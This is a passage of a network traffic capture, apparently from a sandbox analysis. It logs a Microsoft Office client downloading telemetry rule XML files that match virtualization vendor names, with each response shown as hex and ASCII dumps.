2024-10-11 18:30:06 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	58999	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:06 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:06 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 24993946-c01e-008e-55d7-1a7381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183006Z-r154656d9bc25bv85eq198756g00000001z000000000f3rt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:06 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	59001	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:06 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:06 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:06 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: f20d1edd-301e-003f-7acb-1b266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183006Z-1597f696844lt47xuv87mwabmw000000040000000000b52d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:06 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	59002	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:07 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 6dd9b2f2-501e-0035-4e87-1bc923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183007Z-1597f6968444v2bb9vg1k11dcs00000002p00000000115rz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	59004	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:07 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:07 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 705c08cd-101e-0046-2538-1a91b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183007Z-1597f69684422wgj3u8kq0401g00000001b000000000n4da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:07 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	59005	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:07 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 09dd28b8-c01e-008d-23de-1b2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183007Z-1597f696844mgqk65a7x24zwr800000001eg00000000fezr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	59003	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:07 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:07 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:07 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: ec734971-401e-0035-389c-1b82d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183007Z-r154656d9bcc4snr2sy7ntt13c0000000hw000000000gkfb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:07 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	59006	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:07 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:07 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:07 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: fed7985d-c01e-0034-3cd8-1a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183007Z-1597f696844fbwfwqnpz61ymmg00000001bg00000001299y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:07 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.4	59008	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:08 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:08 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: bef1da19-c01e-0034-1da3-1b2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183008Z-r154656d9bcwd5vj3zknz7qfhc0000000dn000000000mrna x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:08 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.4	59010	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:08 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:08 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 9a6afd11-d01e-0049-3e83-1be7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183008Z-r154656d9bcwd4kdv0wzn7nx6800000002kg00000000eva0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:08 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	59011	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:08 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:08 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: be018b82-401e-0035-0c8c-1582d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183008Z-r154656d9bcghtlhf7uxqc3wnn00000002eg00000000d0fb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-11 18:30:08 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	59009	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:08 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-11 18:30:08 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 11 Oct 2024 18:30:08 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 805247ec-201e-000c-7bb2-1b79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241011T183008Z-r154656d9bcvhs4tvca1phhah400000001cg000000007y4x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-11 18:30:08 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	59012	13.107.253.64	443

Timestamp	Bytes transferred	Direction	Data
2024-10-11 18:30:08 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
